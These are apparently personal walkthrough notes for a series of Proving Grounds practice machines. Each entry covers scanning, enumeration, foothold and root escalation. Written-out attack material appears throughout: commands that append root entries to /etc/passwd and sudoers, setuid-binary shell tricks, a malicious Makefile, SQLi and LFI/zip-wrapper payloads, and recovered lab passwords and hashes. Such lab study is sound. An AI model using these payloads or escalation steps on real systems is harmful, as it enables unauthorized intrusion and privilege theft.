  • /bin/sh -c while true; do chown -R charles:charles /opt/zookeeper && chown -R charles:charles /opt/exhibitor && sleep 1; done — 473
  • /usr/sbin/cupsd
  • Dumped the process core of PID 419 using sudo perms on the gcore binary
  • Found the root password ClogKingpinInning731
  • Rooooot.

Peppo

Proving Grounds · Linux · 2025-10-06

Nmap

PORT      STATE SERVICE     REASON         VERSION
22/tcp    open  ssh         syn-ack ttl 61 OpenSSH 8.3 (protocol 2.0)
80/tcp    open  http        syn-ack ttl 61 Apache httpd 2.4.46 ((Unix) PHP/7.4.10)
  |_http-title: Retro Gamming — Just another WordPress site
  |_http-generator: WordPress 5.5.1
3306/tcp  open  mysql       syn-ack ttl 61 MariaDB 10.3.24 or later
5000/tcp  open  http        syn-ack ttl 61 Werkzeug httpd 1.0.1 (Python 3.8.5)
13000/tcp open  http        syn-ack ttl 61 nginx 1.18.0
  |_http-title: Login V14
36445/tcp open  netbios-ssn syn-ack ttl 61 Samba smbd 4

Enumeration

80

  • WordPress theme: news-vibrant by CodeVibrant
  • Username: Admin
  • Vulnerable theme/plugin? Yep — Simple File List 4.2.2 file upload vulnerability
  • exploit-db.com/exploits/48979

5000 / Python 3.8.5 — ffuf negative (500 on /tracks, /employees)

13000 / nginx — login page, creds required

36445 — connection failed (NT_STATUS_IO_TIMEOUT)

22

3306 — unauthorized

Foothold

Privilege Escalation

screenshot

  • SSH login creds => commander:CommanderKeenVorticons1990
  • DOSBox is setuid to root — GTFOBins == root:
pw=$(openssl passwd Password)
cp /etc/passwd /tmp
echo sarvesh:${pw}:0:0:root:/root:/bin/bash >> /tmp/passwd
dosbox -c 'mount c /' -c 'copy c:\tmp\passwd c:\etc\passwd' -c exit

OR

echo commander ALL=(ALL) ALL >> sudoers

Postfish

Proving Grounds · Linux · 2025-10-07

Nmap

PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
25/tcp  open  smtp     syn-ack ttl 61 Postfix smtpd
80/tcp  open  http     syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
  |_http-server-header: Apache/2.4.41 (Ubuntu)
  | http-methods:
  |_  Supported Methods: HEAD GET POST OPTIONS
  |_http-title: Site doesn't have a title (text/html).
110/tcp open  pop3     syn-ack ttl 61 Dovecot pop3d
143/tcp open  imap     syn-ack ttl 61 Dovecot imapd (Ubuntu)
993/tcp open  ssl/imap syn-ack ttl 61 Dovecot imapd (Ubuntu)
995/tcp open  ssl/pop3 syn-ack ttl 61 Dovecot pop3d

Enumeration

80

  • Team members
  • username-anarchy to get all possible usernames
Here at PostFish we take things seriously. And in order to do so our incredible IT department is migrating our services to a brand new platform.

25

  • Could not find a version (might have a CVE)

  • smtp-user-enum to find mail users: mike.ross, brian.moore, sarah.lorem, claire.madison, sales, nobody, games, it

  • Bruteforce not possible on POP/IMAP (too slow)

Foothold

  • Default password sales:sales for SMTP works.
  • Used that to read sales’ mail and found something interesting:
We will be sending out password reset links in the upcoming week so that we can get you registered on the ERP system.
  • This is a hint to send a phishing mail to sales members.
  • Sent a phishing mail and got brian’s creds for SSH.

Privilege Escalation

  • brian belongs to the filter group.
  • /etc/postfix/disclaimer is owned by the filter group => brian can edit it, and Postfix executes this script for every mail processed.
  • Reverse shell as filter.
  • User filter has sudo permissions on /usr/bin/mail — GTFOBins, and root.

QuackerJack

Proving Grounds · Linux · 2025-10-09

Recon Summary

# Operating System: Linux
# IP: 192.168.144.57

PORT     STATE SERVICE     REASON         VERSION
21/tcp   open  ftp         syn-ack ttl 61 vsftpd 3.0.2
22/tcp   open  ssh         syn-ack ttl 61 OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http        syn-ack ttl 61 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
  |_http-title: Apache HTTP Server Test Page powered by CentOS
111/tcp  open  rpcbind     syn-ack ttl 61 2-4 (RPC #100000)
139/tcp  open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp  open  netbios-ssn syn-ack ttl 61 Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp open  mysql       syn-ack ttl 61 MariaDB 10.3.23 or earlier (unauthorized)
8081/tcp open  http        syn-ack ttl 61 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
  |_http-title: 400 Bad Request

Enumeration

21 — “229 Entering Extended Passive Mode” => no info

80 — Apache welcome page, PHP/5.4.16, Apache/2.4.6, OpenSSL/1.0.2k-fips

8081

  • rConfig login page
  • Version 3.9.4 — has multiple CVEs

139/445 — no user shares

3306

111

22

Foothold

Vulnerability

  • rConfig is vulnerable to multiple CVEs: CVE-2019-19509, CVE-2019-19585, CVE-2020-10220

Exploit

  • /usr/share/exploitdb/exploits/php/webapps/48261.py

Result — shell obtained.

screenshot

Privilege Escalation

Findings

define('DB_HOST', 'localhost');
define('DB_PORT', '3306');
define('DB_NAME', 'rconfig');
define('DB_USER', 'rconfig_user');
define('DB_PASSWORD', 'RconfigUltraSecurePass');
  • SQL database => admin | dc40b85276a1f4d7cb35f154236aa1b2
  • /usr/bin/find => setuid

Exploit

  • GTFOBins — using the setuid find command to gain a root shell:
find . -exec /bin/sh -p \; -quit

screenshot

Readys

Proving Grounds · Linux · 2025-10-11

Nmap

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
  |_http-title: Readys — Just another WordPress site
  |_http-generator: WordPress 5.7.2
  |_http-server-header: Apache/2.4.38 (Debian)
6379/tcp open  redis   syn-ack ttl 61 Redis key-value store

Enumeration

80

  • Powered by WordPress
  • Default admin creds incorrect
  • Running WPScan — WP version 5.7.2, /xmlrpc.php present
  • Themes: twentynineteen (2.0), twentytwenty (1.7), twentytwentyone (1.3)
  • Plugins: Site Editor 1.1.1 — vulnerable to LFI, /usr/share/exploitdb/exploits/php/webapps/44340.txt

6379

  • Redis server, default creds don’t work

Foothold

  • Used the LFI to read redis.conf
  • Found the Redis password: Ready4Redis?
  • github.com/jas502n/Redis-RCE
  • Redis version might be vulnerable: 5.0
  • Exploited successfully — got a foothold.

Privilege Escalation

  • 127.0.0.1:3306
  • User: alice
  • ./wp-admin/setup-config.php:
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'karl' );
define( 'DB_PASSWORD', 'Wordpress1234' );
define( 'DB_HOST', 'localhost' );
  • Couldn’t crack the admin hash, so overwrote the admin hash with a self-generated one using WordPress’s wp-includes/class-phpass.php class. Logged into the wp-admin account.
  • Reverse shell for user alice: logged in as alice.
  • Ran linpeas. Root cron job:
*/3 * * * * root /usr/local/bin/backup.sh

#!/bin/bash
cd /var/www/html
if [ $(find . -type f -mmin -3 | wc -l) -gt 0 ]; then
  tar -cf /opt/backups/website.tar *
fi
  • tar is coupled with the wildcard operator — abused this classic flaw.

Scrutiny

Proving Grounds · Linux · 2025-10-12

Nmap

PORT    STATE  SERVICE REASON         VERSION
22/tcp  open   ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
25/tcp  open   smtp    syn-ack ttl 61 Postfix smtpd
  |_smtp-commands: onlyrands.com, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp  open   http    syn-ack ttl 61 nginx 1.18.0 (Ubuntu)
  |_http-title: OnlyRands
443/tcp closed https   reset ttl 61

Enumeration

25 — onlyrands.com, smtp-user-enum?

80

  • “Our Quantum-Powered AI HeroBots will run the algorithm, ensuring maximum entropy”
  • /onlyrands.com
  • Subdomain brute => teams.onlyrands.com
    • TeamCity, version 2023.05.4 (build 129421)
    • /usr/share/exploitdb/exploits/multiple/webapps/52411.py
    • Login bypass working — errors after login? Offsec issue, machine reset.

Foothold

Privilege Escalation

  • Used marco’s private key to log in via SSH.
  • Interesting recon details:
# netstat
0 127.0.0.1:8105          0.0.0.0:*               LISTEN      1192/java
0 127.0.0.1:57743         0.0.0.0:*               LISTEN      1785/java

# linpeas cve
Vulnerable to CVE-2021-3560

/srv/git/software/TeamCity/webapps/ROOT/admin/backup
sh teamcity-server.sh _start_internal

# systemd version vulnerable
Systemd version and vulnerabilities: 245.4

# mail found matthewa password IdealismEngineAshen476
cat /var/mail/marcot
  • Found the pass phrase for marcot’s key = cheer
  • Found briand’s password = RefriedScabbedWasting502
  • briand has sudo permission on systemctl
  • Exploited the vulnerable systemctl version to root — CVE-2023-26604

Snookums

Proving Grounds · Linux · 2025-10-14

Nmap

PORT      STATE SERVICE     REASON         VERSION
21/tcp    open  ftp         syn-ack ttl 61 vsftpd 3.0.2
22/tcp    open  ssh         syn-ack ttl 61 OpenSSH 7.4 (protocol 2.0)
80/tcp    open  http        syn-ack ttl 61 Apache httpd 2.4.6
  |_http-title: Simple PHP Photo Gallery
  |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
111/tcp   open  rpcbind     syn-ack ttl 61 2-4 (RPC #100000)
139/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp  open  mysql       syn-ack ttl 61 MySQL (unauthorized)
33060/tcp open  mysqlx      syn-ack ttl 61 MySQL X protocol listener

Enumeration

21 — anonymous login? Yes, but couldn’t list files.

80

  • Simple PHP Photo Gallery v0.8
  • ffuf negative
  • Vulnerable to LFI

139/445 — null session

33060 — auth plugin mysql_old_password couldn’t be found in the restricted auth plugin list

22

Foothold

Privilege Escalation

define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'MalapropDoffUtilize1337');
define('DBNAME', 'SimplePHPGal');

username | password
josh     | VFc5aWFXeHBlbVZJYVhOelUyVmxaSFJwYldVM05EYz0=
michael  | U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ==
serena   | VDNabGNtRnNiRU55WlhOMFRHVmhiakF3TUE9PQ==
  • michael:HockSydneyCertify123, josh:MobilizeHissSeedtime747, serena:OverallCrestLean000
  • /etc/skel
  • /etc/passwd is writable
  • Changed michael’s UID to 0 and got a shell.

Sorcerer

Proving Grounds · Linux · 2025-10-15

Nmap

PORT      STATE SERVICE  REASON         VERSION
22/tcp    open  ssh      syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp    open  http     syn-ack ttl 61 nginx
111/tcp   open  rpcbind  syn-ack ttl 61 2-4 (RPC #100000)
2049/tcp  open  nfs      syn-ack ttl 61 3-4 (RPC #100003)
7742/tcp  open  http     syn-ack ttl 61 nginx
  |_http-title: SORCERER
8080/tcp  open  http     syn-ack ttl 61 Apache Tomcat 7.0.4
  |_http-title: Apache Tomcat/7.0.4
34625/tcp open  mountd   syn-ack ttl 61 1-3 (RPC #100005)
43449/tcp open  mountd   syn-ack ttl 61 1-3 (RPC #100005)
45551/tcp open  nlockmgr syn-ack ttl 61 1-4 (RPC #100021)
49951/tcp open  mountd   syn-ack ttl 61 1-3 (RPC #100005)

Enumeration

80 — ffuf, no output

8080 — Apache Tomcat 7.0.4

7742

  • Login page (tried injections — negative)
  • Found some zip files
  • The `max` user's zip files have SSH keys, but...
    • the key is locked down to scp via a custom script:
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/max/scp_wrapper.sh"

2049 — showmount returns no shares

111

22

Foothold

  • Could scp files using the max account.
  • Found Tomcat credentials: tomcat:VTUD2XxJjf5LPmu6
  • Used scp to upload an SSH key to the max account and got a foothold.

Privilege Escalation

# Linpeas enumeration
kernel version: Linux version 4.19.0-10-amd64
# internal service
127.0.0.1:8005
# nfs
/etc/exports
# setuid
/usr/sbin/start-stop-daemon
  • GTFOBins on start-stop-daemon, lessgo.

SPX

Proving Grounds · Linux · 2025-10-17

Recon Summary

IP: 192.168.249.108
OS: Linux

Nmap Scan

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.52 ((Ubuntu))
  |_http-title: Tiny File Manager
  |_http-server-header: Apache/2.4.52 (Ubuntu)

Enumeration

80

screenshot

Foothold

Vulnerability

  • PHP has the SPX plugin enabled
  • SPX version 0.4.15 is vulnerable to path traversal

Exploit

/?SPX_KEY=a2a90ca2f9f0ea04d267b16fb8e63800&SPX_UI_URI=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
  • Website admin hash: $2y$10$7LaMUa8an8NrvnQsj5xZ3eDdOejgLyXE8IIvsC.hFy1dg7rPb9cqG
  • Hashcat cracked admin hash: lowprofile
  • Logged in and uploaded a PHP reverse shell.

Result — shell obtained.

screenshot

Privilege Escalation

Findings

// Linpeas findings
disk: sda, sda1, sda2, sda3
[CVE-2022-0847] DirtyPipe
Systemd version and vulnerabilities: 249.11
sudo ---> check_if_the_sudo_version_is_vulnerable
writable = /var/lib/php/sessions
  • Pivoted to user profiler with the same credentials: lowprofile
// User: profiler
sudo -l
/usr/bin/make install -C /home/profiler/php-spx

Exploit

  • Crafted a malicious Makefile — must contain the install attribute since the sudo command references it:
all:
	@echo "Building project..."
install:
	chmod u+s /bin/bash
.PHONY: all install

SpideySociety

Proving Grounds · Linux · 2025-10-18

Network Scan

Version: ubuntu13.9
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 9.6p1 Ubuntu 3ubuntu13.9
80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.58 ((Ubuntu))
2121/tcp open  ftp     syn-ack ttl 61 vsftpd 3.0.5

Enumeration

80 / apache

  • Version 2.4.58 — vulnerable? Probably not.
  • contact@spidersociety.offsec.lab
  • ffuf negative
  • New endpoint /libspider
  • Default creds work: admin:admin
  • FTP: ss_ftpbckuser:ss_WeLoveSpiderSociety_From_Tech_Dept5937!

2121

  • Version vulnerable? Probably not
  • Bruteforce? Nope
  • Anonymous login? Nope
  • Logged in using the found creds, found files, has write perms

22

  • Version vulnerable? Nope
  • Bruteforce? Nope
  • Found creds from FTP

Foothold

  • SSHed into the server.

Privilege Escalation

User spidey may run the following commands on spidersociety:
   (ALL) NOPASSWD: /bin/systemctl restart spiderbackup.service
   (ALL) NOPASSWD: /bin/systemctl daemon-reload
   (ALL) !/bin/bash, !/bin/sh, !/bin/su, !/usr/bin/sudo
spidey@spidersociety:~$
  • The service config is writable — overwrote the content to setuid /bin/bash and restarted the service.

Vmdak

Proving Grounds · Linux · 2025-10-20

Nmap

PORT     STATE SERVICE  REASON         VERSION
21/tcp   open  ftp      syn-ack ttl 63 vsftpd 3.0.5
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu
80/tcp   open  http     syn-ack ttl 63 Apache httpd 2.4.58 ((Ubuntu))
  |_http-server-header: Apache/2.4.58 (Ubuntu)
  |_http-title: Apache2 Ubuntu Default Page: It works
9443/tcp open  ssl/http syn-ack ttl 63 Apache httpd 2.4.58 ((Ubuntu))

Enumeration

  • organizationName=PrisonManagement
  • commonName=vmdak.local

21 — found a Jenkins config file

80

9443

  • Fast5 Prison Management System — vulnerable to SQLi
  • admin' or '1'='1 => logged in as admin
  • Username: Caroline Bassey, Number: 0905656
  • /Admin/add-admin.php is vulnerable to LFI

22

Foothold

Privilege Escalation

  • 127.0.0.1:8080, 127.0.0.1:33060, 127.0.0.1:3306
<?php
    /* Local Database*/
    $servername = "localhost";
    $username = "root";
    $password = "sqlCr3ds3xp0seD";
    $dbname = "employee_akpoly";
    $conn = mysqli_connect($servername, $username, $password, $dbname);
    if (!$conn) {
       die("Connection failed: " . mysqli_connect_error());
    }
?>
  • Even more creds: Name Malcom, password escobar2012, email releaseme@gmail.com, and RonnyCache001
  • Logged in as vmdak with creds vmdak:RonnyCache001
  • Definitely something about Jenkins:
<?xml version='1.1' encoding='UTF-8'?>
<hudson>
  <version>2.401.2</version>
  <numExecutors>2</numExecutors>
  <mode>NORMAL</mode>
  <useSecurity>true</useSecurity>
  <authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy">
    <denyAnonymousReadAccess>false</denyAnonymousReadAccess>
  </authorizationStrategy>
  <securityRealm class="hudson.security.HudsonPrivateSecurityRealm">
    <disableSignup>true</disableSignup>
    <enableCaptcha>false</enableCaptcha>
  </securityRealm>
  ...
</hudson>

Walla

Proving Grounds · Linux · 2025-10-22

Nmap

PORT      STATE SERVICE    REASON         VERSION
22/tcp    open  ssh        syn-ack ttl 61 OpenSSH 7.9p1
23/tcp    open  telnet     syn-ack ttl 61 Linux telnetd
25/tcp    open  smtp       syn-ack ttl 61 Postfix smtpd
  |_smtp-commands: walla, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS
53/tcp    open  tcpwrapped syn-ack ttl 61
422/tcp   open  ssh        syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2
8091/tcp  open  http       syn-ack ttl 61 lighttpd 1.4.53
  |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
  | http-auth:
  | HTTP/1.1 401 Unauthorized
  |_  Basic realm=RaspAP
42042/tcp open  ssh        syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2

Enumeration

8091 / lighttpd 1.4.53 / RaspAP 2.5

  • Auth required — creds? admin:secret
  • Found /README.md (got creds)

25/smtp — username enumeration: terry, walter, janis, paige

Foothold

  • The web port has a default console for code execution.
  • /home/walter

Privilege Escalation

  • 127.0.0.1:631
# sudo -l www-data
(ALL) NOPASSWD: /sbin/ifup
(ALL) NOPASSWD: /usr/bin/python /home/walter/wifi_reset.py
(ALL) NOPASSWD: /bin/systemctl start hostapd.service
(ALL) NOPASSWD: /bin/systemctl stop hostapd.service
(ALL) NOPASSWD: /bin/systemctl start dnsmasq.service
(ALL) NOPASSWD: /bin/systemctl stop dnsmasq.service
(ALL) NOPASSWD: /bin/systemctl restart dnsmasq.service

You have write privileges over /lib/systemd/system/raspapd.service
  • /home/walter is owned by www-data
  • Python library hijack in wifi_reset.py:
echo "www-data ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

WallpaperHub

Proving Grounds · Linux · 2025-10-23

Recon Summary

IP: 192.168.133.204
OS: Linux

Nmap Scan

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.58 ((Ubuntu))
  |_http-title: Apache2 Ubuntu Default Page: It works
5000/tcp open  http    syn-ack ttl 61 Werkzeug httpd 3.0.1 (Python 3.12.3)
  |_http-title: Wallpaper Hub - Home

Enumeration

80 — default Apache page, ffuf nothing

5000

  • Python/3.12.3
  • The /upload-image endpoint has LFI

22

Foothold

  • Using the LFI, downloaded Python source files.
  • Interesting file db.py contains credentials:
admin_data = {
    "user_id": 0,
    "username": "wp_hub",
    "password": hash_password("qazwsxedc").decode(),
    "description": "Wallpaper Hub New user."
}
  • Using the credentials for SSH works.

Privilege Escalation

Findings

Womb

Proving Grounds · Linux · 2025-10-25

Recon Summary

IP: 192.168.144.69
OS: Linux

Nmap scan

PORT      STATE  SERVICE    REASON         VERSION
22/tcp    open   ssh        syn-ack ttl 61 OpenSSH 7.4p1 Debian 10+deb9u7
53/tcp    closed domain     reset ttl 61
80/tcp    open   http       syn-ack ttl 61 nginx 1.10.3
  |_http-title: Welcome to nginx!
6379/tcp  open   redis      syn-ack ttl 61 Redis key-value store 5.0.9
8080/tcp  open   http-proxy syn-ack ttl 61
  | http-robots.txt: 3 disallowed entries
  |_/admin/ /reset/ /compose
  |_http-title: Home | NodeBB
27017/tcp open   mongodb    syn-ack ttl 61 MongoDB 4.1.1 - 5.0
  |   codeName = Unauthorized
  |     version = 4.0.18

Enumeration

80 — Nginx welcome page, nothing extra

8080

  • Title: NodeBB
User-agent: *
Disallow: /admin/
Disallow: /reset/
Disallow: /compose
Sitemap: http://localhost:4567/sitemap.xml
  • Has a few CVEs, checked later.

6379

  • Redis, login with no password
  • Logged in, has permission to write files
  • Redis version is vulnerable to RCE

Foothold

Vulnerability

  • Redis 4.x/5.x — unauthenticated remote code execution

Exploit

Result — shell obtained.

screenshot

Privilege Escalation

  • Direct Redis root RCE — no separate escalation step needed.

Xposedapi

Proving Grounds · Linux · 2025-10-26

Nmap

PORT      STATE    SERVICE REASON         VERSION
22/tcp    open     ssh     syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2
13337/tcp open     http    syn-ack ttl 61 Gunicorn 20.0.4
  |_http-title: Remote Software Management API
  |_http-server-header: gunicorn/20.0.4
21452/tcp filtered unknown no-response
62749/tcp filtered unknown no-response

Enumeration

13337

  • gunicorn/20.0.4
  • Remote Software Management API — 1.0.0b8f887f33975ead915f336f57f0657180
  • /logs => WAF blocks the host — tried X-Forwarded-For and it works
  • /update => reverse shell, for sure

Foothold

  • Used /logs with X-Forwarded-For and read /etc/passwd.
  • Used the recovered username in /update.
  • Got a reverse shell.

Privilege Escalation

  • wget has the setuid bit set — GTFOBins, and root.

Zab

Proving Grounds · Linux · 2025-10-28

Nmap

PORT      STATE    SERVICE REASON         VERSION
22/tcp    open     ssh     syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp    open     http    syn-ack ttl 61 Apache httpd 2.4.52 ((Ubuntu))
  |_http-title: Apache2 Ubuntu Default Page: It works
6789/tcp  open     http    syn-ack ttl 61 Tornado httpd 6.3.3
  |_http-title: Mage
  |_http-server-header: TornadoServer/6.3.3

Enumeration

(no separate enumeration notes — see Foothold)

Foothold

  • Port 6789 terminal — direct foothold.

Privilege Escalation

  • /var/www/.ipython/profile_default/historysqlite.sqlite
  • /etc/zabbix/zabbix_agentd.conf
  • /var/www/.mage_data/html/mage-aidb.db
  • Administrator:$2y$10$KA6iPN5sY5.Z4KLerN7XOOO1P7jR8MD2e0SqNRXOsJjV1b.8c5Si (dinosaur)
  • Interesting writable locations: /etc/zabbix/web, /etc/zabbix/web/zabbix.conf.php
  • Found an internal-only service /zabbix on port 80 — port forwarded.
  • Logged in to the Zabbix admin portal with the found creds.
  • Created reverse shell scripts in the dashboard — medium.com/@0x616163 — pivoting with devops tools, abusing Zabbix
  • The Zabbix service account has sudo permission on rsync — GTFOBins.
  • Zabbix version 7.2.

screenshot

ZenPhoto

Proving Grounds · Linux · 2025-10-29

Nmap

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 5.3p1 Debian 3ubuntu7
23/tcp   open  ipp     syn-ack ttl 61 CUPS 1.4
  |_http-title: 403 Forbidden
  |_http-server-header: CUPS/1.4
80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.2.14 ((Ubuntu))
  |_http-server-header: Apache/2.2.14 (Ubuntu)
3306/tcp open  mysql   syn-ack ttl 61 MySQL (unauthorized)

Enumeration

80

  • Under construction
  • /test, /test/zp-core/admin
<!-- zenphoto version 1.4.1.4 [8157] (Official Build) THEME: default (archive.php) GRAPHICS LIB: PHP GD library 2.0 { memory: 128M } PLUGINS: class-video colorbox deprecated-functions hitcounter security-logger tiny_mce zenphoto_news zenphoto_sendmail zenphoto_seo -->
<!-- Zenphoto script processing end:0.0481 seconds -->
  • RCE CVE — /usr/share/exploitdb/exploits/php/webapps/18083.php

Foothold

  • Got a www-data foothold using the ZenPhoto CVE.

Privilege Escalation

$conf['db_software'] = 'MySQL';
$conf['mysql_user'] = 'root';
$conf['mysql_pass'] = 'hola';
$conf['mysql_host'] = 'localhost';
$conf['mysql_database'] = 'zenphoto';
$conf['mysql_prefix'] = "zp_";
  • MySQL database: admin:63e5c2e178e611b692b526f8b6332317f2ff5513
  • /usr/bin/X
  • couchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
  • /etc/couchdb, /etc/couchdb/local.ini
  • /usr/bin/changeip
  • CVEs: CVE-2016-5195 (Dirty COW, twice-noted), CVE-2021-4034 (PwnKit)
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
* 76    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
  • Vulnerable to multiple root exploits — used the PolicyKit LPE CVE (PwnKit) to get root: github.com/ly4k/PwnKit

Zipper

Proving Grounds · Linux · 2025-10-31

Nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
  |_http-server-header: Apache/2.4.41 (Ubuntu)
  |_http-title: Zipper

Enumeration

80

  • Zipper 2021
  • ffuf found: uploads, upload.php, home.php, style, index.php, server-status
  • http://192.168.213.229/index.php?file=FUZZ — fuzzed the file parameter for LFI, clean
  • Source code analysis — potential LFI
  • Version vulnerable? Nope
  • File upload feature?
  • PayloadsAllTheThings — LFI2RCE
  • LFI-RCE Cheat Sheet

Foothold

  • http://192.168.213.229/index.php?file=pHp://FilTer/convert.base64-encode/resource=home => this payload works.
<?php
	$file = $_GET['file'];
	if(isset($file))
	{
	    include("$file".".php");
	}
	else
	{
	include("home.php");
	}
?>
  • Created a PHP reverse shell, uploaded it, and used the zip wrapper to execute it:
http://192.168.213.229/index.php?file=zip://./uploads/upload_1776432254.zip%23shell

Privilege Escalation

  • Cron job running as root: 7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log
Open archive: /opt/backups/backup.zip
Type = zip
Physical Size = 203545

Scanning the drive:
19 files, 200743 bytes (197 KiB)

Updating archive: /opt/backups/backup.zip
Items to compress: 19

Scan WARNINGS for files and folders:
WildCardsGoingWild : No more files
Scan WARNINGS: 1
  • Root password: WildCardsGoingWild